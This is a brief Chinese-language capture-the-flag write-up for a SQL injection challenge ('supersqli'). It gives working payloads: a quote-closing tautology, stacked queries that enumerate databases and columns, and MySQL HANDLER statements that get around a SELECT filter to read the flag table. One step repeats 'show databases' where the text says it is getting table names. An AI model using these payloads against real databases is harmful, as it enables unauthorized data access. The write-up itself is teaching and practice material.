首先,确定是否存在注入点,构造闭合的sql语句,payload:
1' or '1'='1
尝试进行联合注入获取列数和可以回显的信息,但是发现select被过滤,通过union select 测试得到过滤的关键字。
发现本题的注入方法为 单引号,无法联合查询,只能使用 堆叠注入 来进行查询查寻 库名 表名 。
1';show databases-- q
得到数据库supersqli
接下来获取表的名称
1';show databases-- q
获取到表名后,获取列名
1'; show columns from `FlagHere`-- q
本题中过滤了关键字select,因此我们只能通过handler来打开表,并读取数据。
MySQL 除了可以使用 select 查询表中的数据,也可使用 handler 语句,这条语句使我们能够一行一行的浏览一个表中的数据,不过handler 语句并不具备 select 语句的所有功能。它是 MySQL 专用的语句,并没有包含到SQL标准中。
HANDLER … OPEN语句打开一个表
HANDLER … READ语句访问
HANDLER … CLOSE关闭一个表
1';handler FlagHere open;handler FlagHere read first;handler close;#
得到flag